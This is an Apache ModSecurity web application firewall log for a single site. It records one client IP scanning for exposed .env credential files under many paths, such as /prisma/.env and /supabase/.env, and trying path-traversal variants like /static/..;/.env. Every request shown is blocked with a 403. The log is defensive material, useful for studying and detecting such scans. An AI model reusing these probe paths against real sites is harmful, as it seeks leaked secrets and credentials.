[Mon Oct 26 14:54:35.707791 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at-h653e6IE-kR1toPobgAAAABE"]
[Mon Oct 26 14:54:35.708038 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at-h653e6IE-kR1toPobgAAAABE"]
[Mon Oct 26 14:54:36.234822 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESQAAAA8"]
[Mon Oct 26 14:54:36.235090 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESQAAAA8"]
[Mon Oct 26 14:54:36.235472 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESQAAAA8"]
[Mon Oct 26 14:54:36.237968 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at-h7B7tVIm23knyHD7xhAAAAAI"]
[Mon Oct 26 14:54:36.238124 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at-h7B7tVIm23knyHD7xhAAAAAI"]
[Mon Oct 26 14:54:36.238445 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at-h7B7tVIm23knyHD7xhAAAAAI"]
[Mon Oct 26 14:54:36.324725 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33318] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h7PEWMevIOUAFFIb9oAAAAB4"]
[Mon Oct 26 14:54:36.324948 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h7PEWMevIOUAFFIb9oAAAAB4"]
[Mon Oct 26 14:54:36.325196 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h7PEWMevIOUAFFIb9oAAAAB4"]
[Mon Oct 26 14:54:36.326324 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at-h7KgotfDqarG_U6DojwAAACE"]
[Mon Oct 26 14:54:36.326473 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at-h7KgotfDqarG_U6DojwAAACE"]
[Mon Oct 26 14:54:36.326709 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at-h7KgotfDqarG_U6DojwAAACE"]
[Mon Oct 26 14:54:36.334197 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at-h7LtvIKIhw4_Op_OQnAAAACk"]
[Mon Oct 26 14:54:36.334423 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at-h7LtvIKIhw4_Op_OQnAAAACk"]
[Mon Oct 26 14:54:36.334678 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at-h7LtvIKIhw4_Op_OQnAAAACk"]
[Mon Oct 26 14:54:36.415090 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at-h7GEwr5uQBdiYd9TuOgAAACQ"]
[Mon Oct 26 14:54:36.415371 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at-h7GEwr5uQBdiYd9TuOgAAACQ"]
[Mon Oct 26 14:54:36.415706 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at-h7GEwr5uQBdiYd9TuOgAAACQ"]
[Mon Oct 26 14:54:36.417108 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESgAAAA8"]
[Mon Oct 26 14:54:36.417289 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESgAAAA8"]
[Mon Oct 26 14:54:36.417581 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7LJoBe2aZMAtY1nESgAAAA8"]
[Mon Oct 26 14:54:36.418632 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at-h7OwhFnyxLKqf5CkqhgAAAB0"]
[Mon Oct 26 14:54:36.418768 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at-h7OwhFnyxLKqf5CkqhgAAAB0"]
[Mon Oct 26 14:54:36.419317 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at-h7OwhFnyxLKqf5CkqhgAAAB0"]
[Mon Oct 26 14:54:36.420363 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7B7tVIm23knyHD7xhQAAAAI"]
[Mon Oct 26 14:54:36.420515 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7B7tVIm23knyHD7xhQAAAAI"]
[Mon Oct 26 14:54:36.420822 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7B7tVIm23knyHD7xhQAAAAI"]
[Mon Oct 26 14:54:36.437329 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7G2tU31X1qF-NiHkQAAAACc"]
[Mon Oct 26 14:54:36.437483 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7G2tU31X1qF-NiHkQAAAACc"]
[Mon Oct 26 14:54:36.437723 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7G2tU31X1qF-NiHkQAAAACc"]
[Mon Oct 26 14:54:36.478022 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at-h7CVsqF6Prn45f_BAoQAAABM"]
[Mon Oct 26 14:54:36.485666 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at-h7CVsqF6Prn45f_BAoQAAABM"]
[Mon Oct 26 14:54:36.485922 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at-h7CVsqF6Prn45f_BAoQAAABM"]
[Mon Oct 26 14:54:36.486273 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at-h7CVsqF6Prn45f_BAoQAAABM"]
[Mon Oct 26 14:54:36.487520 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at-h7JSRnBaU6BmTUZTvHgAAABU"]
[Mon Oct 26 14:54:36.487610 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at-h7JSRnBaU6BmTUZTvHgAAABU"]
[Mon Oct 26 14:54:36.487794 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at-h7JSRnBaU6BmTUZTvHgAAABU"]
